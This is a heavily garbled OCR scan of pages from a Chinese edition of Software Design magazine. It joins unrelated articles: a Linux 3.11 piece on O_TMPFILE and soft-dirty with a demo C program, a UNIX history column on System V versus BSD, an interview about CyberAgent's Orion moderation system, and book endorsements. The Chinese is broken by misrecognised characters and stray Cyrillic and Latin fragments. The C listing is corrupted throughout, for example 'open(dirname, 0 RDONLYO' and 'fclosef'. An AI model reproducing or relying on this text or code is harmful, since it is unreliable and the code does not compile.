close(), 也 可 以 通过 /tmp/target 进 行 自由 的 读 写 ， 
让 进程 sleep1 秒 ,并 在 为 一 进程 进行 号 入 。 然后 ， 
查看 问 /tmp/target 写 人 的 内 容 ， 关 闭 生 成 临时 
文件 的 进程 。 

依次 使 用 先前 的 方法 和 O_TMPFILE 创 建 
临时 文件 。 先 前 的 方法 就 是 使 用 mktemp()， 根 
据 文件 名 模板 指定 文件 名 ， 并 用 这 个 文件 名 
创建 和 清除 唯一 的 临时 文件 。 而 O_TMPFILE 


у 4 运行 实例 
H ./a.out |&uniq 
Using tmpfile() 
open failed: No such file or directory 


file opened 

FILE: 17 

Using O0 TMPFILE 

open failed: No such file or directory 
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则 是 从 内 核 头 文件 处 复制 定义 。 从 包含 0_ 
DERECTORY 可 以 看 出 ，O_TMPFILE 打 开 的 
对 象 并 不 是 文件 本 身 而 是 目录 。 

运行 代码 清单 2 中 的 程序 (如 果 "Imp" © 
支持 ext2 之 类 的 O_ TMPFILE 的 文件 系统 的 话 ), 
可 以 得 到 如 图 4 所 示 的 输出 结果 。 而 如 果 使 用 
原来 的 方法 ， 在 这 种 情况 下 i=17 时 在 openO 和 
unlink() 之 间 是 可 以 搬入 其 他 操作 的 。 另 一 方面 ， 
使 用 O_TMPFILE 的 话 ， 则 在 unlink0) 之 前 会 进 
行 原子 操作 ， 无 法 插入 其 他 操作 ， 直 到 最 后 也 
无 法 查看 文件 。 

作为 Linux 独 有 的 功能 ，O_TMPFILE 有 着 
和 O_CLOEXEC 同样 的 便利 性 ， 但 就 笔者 的 杀 
身体 会 来 看 ，O_TMPFILE 还 有 不 足 之 处 。 在 
RC 中 能 把 这 些 部 分 改善 的 话 就 好 了 。 


A Logo 的 变更 


以 上 说 的 都 是 soft-dirty 和 O TMPFILE 的 
相关 内 容 ， 其 实 Linux 3.11 最 显而易见 的 改变 
就 是 启动 时 可 以 看 见 企 鹅 Tux 手 持 Windows 图 
标 小 旗 的 样子 (网 5 )。 

可 能 有 人 会 想 为 什么 拿 的 是 Windows 小 旗 ， 
联系 一 下 Linux 3.11 的 代号 就 能 知道 了 。 这 次 
的 代号 是 “Linux for Workgroups", Linux 3.11 
JI “Windows for Workgroups 3.11” 应 该 是 有 关 
联 的 。 


Ga 结 


这 次 就 Linux 3.10 的 TLP， 以 及 3.11 的 新 功 
能 soft-dirty Ж О TMPFILE 进行 了 解说 。TLP 
原本 是 Google 的 一 个 补丁 , 但 Google 之 前 也 


wÉ]5 Tux 


pg 
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Linux 3.11 的 新 功能 


У (155858 munin plugin 


#include <sys/types.h> 
Hinclude <sys/wait.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <fcntl.h> 
#include <signal.h> 
#include <errno.h> 
#include <string.h> 


#define _0_TMPFILE 020000000 


#define 0 TMPFILE ( 0 TMPFILE | 0 DIRECTORY | O_RDWR) 


#define TRY 4096 


#define DIR "/tmp" 


void parent(pid t pid) 


Í 


) 


Tm e y 

char dirnameL2561; 

sprintf(dirname, "/proc/Zd/fd", pid); 
int olddir = open(dirname, 0 RDONLYO; 
int newdir = open(DIR, 0 RDONLY); 

if (olddir < 0 || newdir < 0) abortO; 


unLink(DIR "/target"); 
tor (í = O: i <TR; D 


soft-dirty Xl O TMPFILE 


if ((r = Linkat(olddir, "3", newdir, "target", AT SYMLINK FOLLOW)) == 0) 


break; 
perror("open failed"); 
0 
close(olddir); close(neudir); 
if (r != 0) goto out; 


fprintf(stderr, "file орепед\п"); 
sLeep(1); 

char bufL2561; 

FILE *f = fopen(DIR "/target", "r"); 
fgets(buf, 256, f); 

fprintf(stderr, "FILE: 26”, buf); 
fclosef; 


out: 
kill(pid, SIGTERM); 
wait(NULL); 


void writenCint fd, unsigned Long n) 


Í 


) 


i 
t 


char bufL2561; 
sprintf (buf, “Aldin; n); 
write(fd, buf, 256); 


nt main(int argc, char *argv[]) 
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接 前 页 


为 改良 TCP 写 过 补丁 (如 Early Retransmit ) 为 Bü Linux 3.11 的 soft-dirty 的 引入 ，CRIU 

了 TCP 高 速 化 而 积极 进行 各 种 尝试 ， 只 能 说 真 “的 使 用 变 得 更 加 便利 。 项 目 也 在 募集 CRIU 的 “ 
不 愧 是 Google。 今 后 好 像 还 会 进行 名 为 FEC ”” 实际 应 用 事例 。 请 务必 尝试 使 用 -下 CRIU，: o 
(Forward Error Correction ) 的 改良 措施 。 就 新 的 使 用 方法 给 我 们 提出 宝贵 的 建议 。 “ i : 
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本 回 我 们 将 从 可 移植 性 的 
角度 回顾 一 下 UNIX 从 诞生 到 
现在 所 走 过 的 发 展 历 程 。 


(=a g UNIX 

1969 ^F. UNIX WE^E F AT&T 
公司 贝尔 实验 室 的 一 台 DEC 
PDP-7 上 ， 当 时 是 使 用 汇编 语 
言 编写 的 ， 之 后 又 于 1972 年 使 
用 丹尼斯 “里 奇 所 开发 的 C 语 言 
在 PDP-11 上 进行 了 彻底 的 重 与 , 
从 此 UNIX 在 可 移植 性 上 有 了 
飞跃 性 的 提高 。 

后 来 ，AT&T 公 司 由 于 违 
ДМ. ЕЙТЕ ИК ЛЕ ЕР ЕТ. 
机 行业 ， 于 是 将 UNIX 以 接近 
成 本 的 价格 连同 源 代码 一 起 进 
行 了 大 旋 围 的 推广 ， 从 而 加 快 
了 了 UNIX 向 各 种 计算 机 移植 的 
进程 。 另外， 人们 也 将 bug 反 
僻 到 贝尔 实验 室 进 行 修正 ， 从 
此 形成 了 一 种 开源 的 文化 。 

1979 年 开发 的 Version7 
UNIX 为 后 来 的 两 大 主流 ， 即 
SystemV 系列 和 BSD 系列 奠定 


rz ~ A 人 кн 


pt? 


1R 


x AS oystemV 
& 3. 5 BSD 


20 tH: ZÚ 80 4F. [V 8] 90 E fO 
初期 , UNIX 可 以 分 为 两 大 系统 ， 
即 本 家 AT&T 公 司 的 System V 
系统 和 加 州 大 学 伯克利 分 校 
( UDB ) 的 BSD 系 统 。 

因为 这 两 套 UNIX Ж Bt 
上 了 相互 独立 发 展 的 道路 ， 所 
以 在 命令 的 有 无 、 系 统 调用 的 
有 无 以 及 通信 功能 的 实现 等 方 
面 ， 都 存在 着 各 种 各 样 的 不 同 
b. 

就 连 使 用 频率 较 高 的 ls 命 
令 在 默认 情况 下 的 处 理 动 作者 
是 不 同 的 。 执 行 ls 命 令 之 后 的 
输出 结果 ，SystemV 中 是 1 行 
表示 1 个 文件 ， 而 BSD 中 则 是 
用 多 列 (1 行 中 有 多 个 列 ) 表 示 
多 个 文件 。SystemV 如 果 想 与 
BSD 保持 一 致 则 需要 附加 C 选 
项 (大 写字 母 C )， 相 反 BSD 如 
ҖАН 55 SystemV 保持 一 致 则 需 
要 附加 1 选项 (数字 1 )。 

图 数 方面 , 令 人 记忆 狂 
新 的 是 内 存 操作 函数 memcpy 
( SystemV 系统 ) 和 bcopy( BSD 


AN dT Le 


系统 )， 这 两 个 函数 的 复制 源 路 
径 和 复制 目标 路 径 的 参数 顺序 
是 不 一 样 的 ， 当 时 笔者 曾经 拼 
命 地 去 记忆 过 ( 笑 )。 

SystemV 和 BSD 主要 使 用 
HJ shell: Bourne Shell 系 列 和 C 
Shell 系 列 ， 在 版 本 管理 系统 方 
面 二 者 也 不 尽 相 同 ，SystemV 
使 用 的 是 SCCS( Source Code 
Control System ), mi BSD fii 用 
Hy 则 是 RCS ( Revision Control 


System )。 

ЖШ ЕРЛЖ, UNIX BJ W X 
系统 存在 着 诸多 差异 ， 如 采 需 
要 同时 使 用 这 两 个 不 同 的 系统 ， 
则 需要 随时 在 大 脑 和 喘 体 之 间 
进行 不 集 的 切换 ， 竭尽 可 能 地 
将 为 一 个 不 同 的 环境 与 自己 认 
为 是 主 环境 的 那 一 方 保持 一 致 。 


Фи 有 关 二 者 
cap 不同 号 的 书籍 
在 两 套 UNIX 系统 较为 流 
行 的 20 世 纪 80 年 代 后 半期 到 
90 年 代 前 半期 ， 对 二 者 之 间 的 
差异 进行 深刻 剖析 的 书籍 也 应 
运 而 生 。 
1986 年 出 版 的 4UNIX 工 
А. ,+1в АЭС, sri 
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社 出 版 )， 从 出 版 至 今 已 经 历时 
27 年 之 入, 但 仍然 在 售 ， 堪 称 
是 一 部 经 典 若 作 , ТЕА А С 
先生 在 UNIX 业界 也 享誉 成 名 。 
该 书 附录 中 记载 了 Systemv 和 
4.2BS 的 全 部 命令 列表 以 及 全 
部 系统 调用 和 因数 列表 ， 包 括 
名 称 和 相应 的 说 明 ， 并 使 用 圆 
圈 标 记 了 在 哪个 系统 中 文 持 ， 
曾经 令 读者 们 受益 菲 浅 。 

1990 年 出 版 的 《便携 式 C 
语言 编程 : 考虑 可 移植 性 的 编 
ERDI CENE. KE 
译 )( 照 片 1 ) 从 可 移植 性 的 角度 
对 C 语 言 编程 进行 了 全 面 介绍 。 
前 半 部 分 介绍 了 C 语 言 的 格式 、 
各 种 处 理 间 的 依存 事项 等 相关 
内 容 ， 后 半 部 分 对 于 C 语 言 
Xt. Cii FERRE. ж 20 
用 以 及 用 户 命令 一 一 做 了 介绍 ， 
并 且 对 于 每 一 项 在 C 语 言 编 译 
器 或 者 OS 中 的 文 持 程度 ， 都 使 
用 星 号 进行 了 五 个 等 级 的 评价 ， 
星 号 越 多 ， 所 编写 程序 的 可 移 
植 性 就 有 望 越 高 。 


UNIX 战 争 


1987 年 AT&T 公 司 与 BSD 
OS 的 先驱 Sun 公司 就 共同 开 
发 SystemV Release 4 ( SVR4 ) 
5 Cw. Ht is E qup WE S 
Sun 公 司 在 苋 争 中 占据 优势 地 
位 , 于 1998 年 成 立 了 另 一 团体 ， 
即 Open Software Foundation 
(OSF )。 而 AT&T 公司 与 Sun 
公司 为 了 对 抗 OSF, 也 于 
同年 成 立 了 一 个 叫 作 UNIX 
International ( UI ) 的 团体 。 这 两 
个 团体 分 别 开 发 并 发 布 目 己 的 


PE ~ A 人 A 八 PF 


Vost | 的 古老 传说 n" 
m AARD — uta (ЕЙ 广电 > 


b 


XS `, k. 


OS 和 用 户 接口 ， 二 者 之 间 的 竞 
争 被 人 们 称 为 “UNIX 战争”。 

SVR4 实 现 了 SystemV = BSD 
的 统合 ， 后 来 获得 了 成 功 。 

笔者 曾经 使 用 的 是 BSD 系 
列 的 Sun OS4, 但 是 后 来 发 展 
到 SVR4 Solaris2 RF, Z Es VA 
AT ARL RAE WAIT BS BI. 
UNIX 给 人 的 感觉 已 经 不 再 是 
面向 开发 者 的 OS ГТ, mix 
了 应 用 程序 的 运行 平台 。 


忆 27 现 在 的 UNIX 

a» 

PEJE UNIX Л Ёл ( trademark ) 
IH The Open Group r A» ШЖ 
某 个 OS 要 以 “UNIX” 命 名 ， 则 
必须 完全 符合 一 个 叫 作 Single 
UNIX Specification ( SUS ) HS f 
作 系 统 标准 规范 ， 而 且 还 需要 
经 过 认证 。SUS 汇 集 了 ANSIC、 
ISO C、POSIX、XPG 等 曾 与 
UNIX 相 关 的 各 种 标准 化 规范 
的 精华 ， 是 操作 系统 标准 规范 
的 集大成 者 。 

只 要 在 The Open Group 的 网 
站 “上 注册 用 户 ， 便 可 以 浏览 或 
者 下 载 SUS 的 最 新 版 本 Version 
4 ( The Single UNIX Specification, 


£ 
| 


Version 4 )- 

UNIX03 和 UNIX98 都 是 OS 
符合 标准 规范 的 品牌 (Open Brand )， 
UNIX03 是 基 于 SUS Version 
3 标准 的 品牌 ,而 UNIX98 IIJ 
是 基于 SUS Version 2 标准 的 品 
牌 。 在 这 里 我 们 可 以 浏览 通过 
UNIX03 认证 和 通过 UNIX98 认 


(D http://www.unix.org/version4/ 
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证 的 OS 列 表 ”， 包 括 历 史 久远 
的 HP-UX、Solaris、AIX， 以 及 
ТАЈ Mae OSX 和 今 人 怀念 的 
Tru64、IRIX、UnixWare， 还 可 
以 找到 令 人 耳目 一 新 的 z/OS。 


AL 


本 回 我 们 重新 回顾 了 一 下 
UNIX 的 发 展 历程 ,从 最 初 的 
混沌 状态 ， 到 逐渐 迈 向 整合 上 
统一 ; 从 团体 的 盲目 创建 与 主 
导 权 的 争夺 ， 到 最 终 趋 于 平静 ， 
从 而 最 终 形成 了 我 们 今天 的 
SUS， 让 我 们 深 深 地 体会 到 了 
历史 潮流 的 变迁 。 

应 用 广泛 并 且 开 源 的 Linux 
以 及 *BSD 虽然 不 能 正式 称 之 
为 UNIX, 但 是 *BSD 的 鼻祖 是 
4.4BSDLite， 从 使 用 方法 以 及 
文化 的 角度 而 言 都 可 以 说 它们 
回归 到 了 UNIX 刚 刚 发 布 的 那 
个 年 代 。 但 愿 这 种 文化 能 够 源 
远 流 长 ， 继 续 流 传 下 去 ， 想 必 
也 定 会 如 人 们 所 愿 。 


(2) http://www.opengroup.org/openbrand/ 
register/ 
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专家 视点 


* 直击 CyberAgent 工程 师 
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创造 互联 
网 服务 


来 的 人 们 


实现 安全 放心 的 服务 应 用 一 一 Orion (前 篇 ) 


采访 / 抱 文 : Insight lmage 川 添 贵 生 KAWAZOE Такао mail@insightimagejp 摄影 : 中 村 俊 吉 NAKAMURA Toshiya 


为 了 对 用 户 投 稿 2 实施 审核 ， 从 而 将 那些 
不 恰当 的 内 容 设置 为 非 显示 ，CyberAgent 公 司 开 
发 了 一 套 监控 业务 支援 系统 ， 即 Orion 。 为 此 我 
们 采访 了 曾经 参与 过 该 项 目的 安田 、 蕨 坂 、 内 艾 
和 松井 等 几 位 工程 师 。 


可 以 对 智能 手机 服务 
进行 统一 管理 的 “Orion” 


H 


SNS 的 巨大 魅力 之 一 就 是 会 员 之 间 可 以 轻 


松 地 收发 用 户 投稿 ， 实 现 会 员 之 间 的 互动 交流 。 
但 是 有 些 用 户 投稿 的 内 容 可 能 会 不 利于 至 少年 
的 健康 成 长 ， 也 有 很 多 用 户 的 投 稳 内 容 可 能 会 
引发 无 法 预料 的 纠纷 ， 所 以 对 于 投稿 内 容 进行 
审核 监控 是 不 可 或 缺 的 。 

为 了 文 援 该 项 审核 监控 业务 ，CyberAgent 
公司 的 研究 开发 部 门 “Ameba Technology 


CD 不 包含 用 户 间 传 递 消息 的 投稿 或 者 图 片 。 


TU 


T 


端 是 由 CA Advance 公司 负责 开发 的 
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对 Orion 获 取 的 投稿 进行 审核 的 前 端 应 用 。 后 端 是 
H Ameba Technology Laboratory 负责 开发 的 ， 而 前 


译 / 王 凤 波 


Laboratory” 开 发 了 这 套 Orion 系统 。 关 于 启动 
该 项 目的 背景 ， 客 户 服务 部 门 服务 健全 化 小 组 
的 负责 人 松井 小 姐 为 我 们 做 了 如 下 说 明 。 


“IL f£ CyberAgent E 7E H 3t — 5$ v] (Е "x 

图 ”的 计划 ， 就 是 要 在 共用 的 平台 之 上 同时 提 
供 多 个 面向 智能 手机 的 服务 。 与 现 有 的 Ameba 
的 各 个 服务 一 样 ， 在 这 个 宏图 计划 的 平台 之 上 
需要 一 套 系 统 对 用 户 的 投稿 实施 审核 监控 ， 

于 是 我 们 向 Ameba Technology Laboratory 提 出 
了 开发 的 建议 , Orion 就 这 样 应 运 而 生 了 。 (松井 ) 


男 外 ， 松 井 小 姐 还 向 我 们 进一步 讲述 了 想 
要 解决 现 有 的 Ameba 监 控 系 统 中 存在 的 读 题 这 
一 想法 ° 


“审核 的 方法 有 很 多 ， 比 如 可 以 在 接 到 用 
户 举 报 之 后 进行 审核 ， 或 者 对 所 有 投稿 逐一 进 
行 审核 。 在 现 有 的 Ameba 中 ， 根 据 使 用 目的 的 
不 同 ， 比 如 举报 监控 或 者 全 盘 监 控 ， 都 分 别 使 
用 了 通过 其 他 系统 所 构建 的 工具 。 因 此 ， 我 们 
考虑 如 果 要 为 宏图 计划 开发 一 套 监 控 工 具 的 话 ， 
就 要 开发 一 套 不 受 监 控 方 法 制约 的 、 可 以 对 用 
户 投稿 进行 一 元 化 统一 监控 的 工具 。”( 松 并 ) 


$h 灵活 应 用 用 长 期 积累 的 


大 规模 数据 处 理 技 术 


Ameba Technology Laboratory 的 安田 先生 
在 初次 听 人 谈 起 Orion 时, 曾 伐 有 兴趣 地 说 :“ 听 
起 来 好 像 很 有 意思 。” 
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“宏图 将 拥有 庞大 的 用 户 群 ， 因 此 可 以 想 
象 监控 工具 将 要 处 理 的 投稿 数据 量 也 将 是 相当 
庞大 的 。 例如， 博客 或 者 now 等 Ameba 服 务 ， 
一 天 之 内 接收 的 投稿 数量 就 多 达 几 百 万 条 ， 而 
宏图 的 投稿 数量 很 有 可 能 更 多 。 但是， 这 一 
点 正 是 技术 工程 师 们 颇 感 兴趣 的 地 方 ， 况 且 
Ameba Technology Laboratory 长 期 以 来 也 积累 
了 一 套 自 己 的 大 规模 数据 处 理 技 术 ， 所 以 我 们 
认为 这 个 计划 是 可 行 的 。 (安田 ) 


Orion 开 发 项 目 是 由 Ameba Technology 
Laboratory #1 CyberAgent J Р үн] CA ADvance 
共同 推进 的 ， 并且 由 CA ADvance їй эт Sz [bs АЈ 
监控 业务 。Ameba Technology Laboratory 负责 
Orion 后 端的 开发 业务 ，CAADvance 则 在 后 
端 所 提供 的 API 的 基础 之 上 负责 前 端的 开发 
Lie 


消除 单 点 故障 


实现 局 可 用 性 


Orion 中 使 用 了 Flume 日 志 处 理 软件 、 
Hbase 数 据 库 和 Solr 搜 索引 擎 等 开源 软件 。 通 
过 Flume 将 用 户 投稿 以 日 志 的 形式 导 和 人， 再 经 
过 一 定 的 处 理 之 后 将 其 存储 到 Hbase 数 据 库 ， 
然后 可 以 通过 Solr 对 存储 在 Hbase 数 据 库 中 的 
用 户 投稿 进行 过 滤 查 询 。 


AB. КЖЕ ТЯ] Г Hbase itt 
的 艰辛 之 处 。 


"Orion Ж А Hbase 数据 库 的 主要 原因 是 可 
以 挪用 已 经 构建 好 的 Hbase 多 租户 基础 设施 。 
前 一 阶段 处 理 过 的 用 户 投稿 数据 将 会 被 存储 到 
Hbase Р, 但 是 因为 数据 量 很 大 ,如果 设计 不 当 ， 
就 会 产生 获取 用 户 投稿 的 时 间 超 长 等 苏 端 为 
了 避免 类 似 问题 的 发 生 ， 确 保 高 效 地 将 用 户 投 
稿 导 入 Hbase 中 ， 在 设计 的 构思 之 上 我 们 付出 
T AR A DEAE LU CHAR) 


M ji] М Orion A ЧЖЕН ШЕ АДАШ, J 
ЕИ n] ВЕДЬ НЕ ER ra C E o 


“负责 投稿 审核 业务 的 CAADvance 对 投稿 
实施 了 24 小 时 不 间断 监控 ， 自 然 要 求 系统 也 
要 保持 24 小 时 连续 运转 。 如 果 系 统 停 止 运行 
的 话 ， 监 控 自 然 也 就 无 法 实施 ， 因 此 系统 的 构 
建 基本 上 排除 了 单 点 故障 。( 蕨 坂 ) 


另外 ， 据 安田 先生 介绍 ， 即 使 发 生 系统 故 
障 ， 宕 机 时 间 “ 最 长 也 就 1 分 钟 左 右 ”， 有 力 地 
确保 了 系统 的 高 可 用 性 。 

我 们 将 在 后 篇 继续 为 大 家 介绍 Orion 的 具 
体 处 理 流程 等 相关 内 容 ， 敬 请 期 竺 。 


| — ч ич A =f 0 ~ 


€ rare 日 本 顶级 软件 开发 日 本 IT 业 革新 进化 的 | ише 


Гуе» 实践 性 技术 读物 | 秘密 “ 软 动力 | 独家 引进 


(Software _ Design 中文 版 》 没 有 特别 流行 的 方法 论 ， 里 面 讲 的 内 容 着 眼 点 都 非常 小 ， 可 能 给 人 感觉 不 
够 时 三。 但 是 恰恰 是 这 种 实用 主义 ， 使 得 它 成 为 学 习 技术 的 手边 书 ， 不 会 让 人 觉得 只 知道 概念 但 无 从 下 手 。 
书 中 的 内 容 还 是 给 了 我 很 多 惊喜 的 。 比 如 即便 我 自 认 为 对 awk 已 经 很 熟悉 了 ， 但 是 awk 调试 一 篇 还 是 让 我 学 
到 很 多 新 东西 。 这 是 我 见 过 的 关于 awk 最 好 的 合集 文章 。 后 面 的 Mac 特 辑 也 非常 有 意思 ， 看 完 后 绝对 会 产生 

“每 个 程序 员 都 应 该 有 个 Mac， 外 加 HHKB” 的 感觉 ， 所 以 一 定 要 买 一 本 给 你 者 板 看 看 。 还 有 大 家 要 特别 关 
注 内 核 动态 的 文章 。 日 本 工程 师 对 内 核 细 节 的 关注 程度 远 超 我 们 绝 大 部 分 人 ， 给 我 们 上 了 非常 朴实 的 一 课 。 
一 一 QneAPM 首 席 运 营 官 程 显 峰 
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这 是 一 本 对 于 程序 员 来 讲 很 实在 的 杂志 ， 里 面 涉 及 的 内 容 从 软件 设计 、 工 具 使 用 再 到 技术 工作 经 验 温 
谈 ， 扫 宽 了 程序 员 在 技术 上 的 视野 ， 也 很 荣幸 《存储 系统 的 那些 事 ) 能 被 选 入 此 书 ， 这 篇 文章 表达 了 我 对 存 
依 系 统 的 理解 和 构建 ， 七 牛 云 存 储 就 是 在 这 样 的 理解 下 产生 并 在 新 存储 的 路 上 走 得 很 好 ， 相 信和 技术 的 创造 没 
有 尽头 。 

一 一 七 牛 云 存 信 CEO 许 式 伟 


本 书 内 容 丰 富 、 趣 味 性 强 。 有 家 庭 网 络 建设 ,， 有 极 具 创意 的 产品 讲解 ， 也 有 对 未 来 科 按 的 展望 ， 还 深入 
介绍 了 sed/AWK 文 本 处 理工 具 、Mac 的 用 法 ， 其 中 还 包括 一 些 有 意思 的 小 命令 ， 如 say 可 以 让 出 一 段 文 
字 ， 对 于 软件 设计 人 员 极 具 参考 价值 。 

一 一 极 客 学 院 创 始 人 Ses 


(Software Design P XIR} 是 一 本 内 容 详实 的 技术 杂志 ， 在 里 面 总 能 找到 你 感 兴趣 的 前 沿 科技 或 技术 
知识 。 它 不 仅 从 方法 论 的 层面 前 述 了 软件 设计 和 开发 的 原则 ， 还 深入 阐释 了 云 计 算 。 虚拟 化 、 中 间 件 、 分 布 
式 、 内 核 开 发 等 技术 细节 ， 甚 至 细致 到 每 一 条 代码 ， 由 内 而 外 地 培养 工程 师 的 技术 素养 ， 激 发 出 工程 师 无 尽 
的 创造 力 。 

一 一 青云 QingCloud 联 合 创 始 人 &CEO 黄 允 松 (Richard Huang ) 


目前 市 面 上 充斥 的 技术 类 书籍 繁多 ， 但 真正 有 质量 、 值 得 持续 关注 的 不 多 。 作 为 日 本 主流 的 计算 机 技术 
杂志 ，5ofhwere Design 确实 起 到 了 帮助 程序 员 更 实时 、 深 入 了 解 前 沿 技术 ， 扩 展 视 野 ， 提 升 技能 的 作用 。 

感谢 图 灵 公 司 引进 版 权 ， 把 精彩 的 内 容 分 享 给 更 多 国内 寻求 新 知 不 断 学 习 的 的 程序 员 们 。 
一 一 拉 勾 网 技术 总 监 周亮 


这 本 书 可 爱 且 细 虐 ， 读 起 来 让 人 觉得 很 享受 ， 不 知 不 党 惑 陷 人 到 软件 设计 的 那 种 美 里 去 了 。 比 起 一 

些 把 软件 设计 描述 得 面面俱到 的 书 来 说， 这 本 书 并 不 这 样 做 ， 而 是 给 出 对 关键 技术 点 与 相关 工程 环节 的 细 脖 
描述 ， 并 给 出 一 些 当 下 主流 且 具 备 代表 性 的 技术 文章 或 观点 。 软 件 设计 原来 也 可 以 这 么 有 意思 。 

一 一 知道 创 宇 技术 副 总 裁 余弦 
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看 元 了 


如 果 您 对 本 书 内 容 有 疑问 ， 可 发 邮件 至 contact@turingbook.com， 会 有 编辑 或 作 译 者 协助 
答疑 。 也 可 访问 图 灵 社 区 ， 参 与 本 书 讨论 。 


如 果 是 有 天 电子 书 的 建议 或 问题 ， 请 联系 专用 客服 邮箱 : ebookGturingbook.com. 
在 这 里 可 以 找到 我 们 : 


微 博 @ 图 灵 教 育 : 好 书 、 活 动 每 日 播报 

ME @ 图 灵 社 区 : 电子 书 和 好 文章 的 消息 

微 博 @ 图 灵 新 知 : 图 灵 教 育 的 科普 小 组 

微 信 图 灵 访 谈 : ituring_interview， 讲 述 码 农 精 彩 人 生 
微 信 图 灵 教 育 : turingbooks 


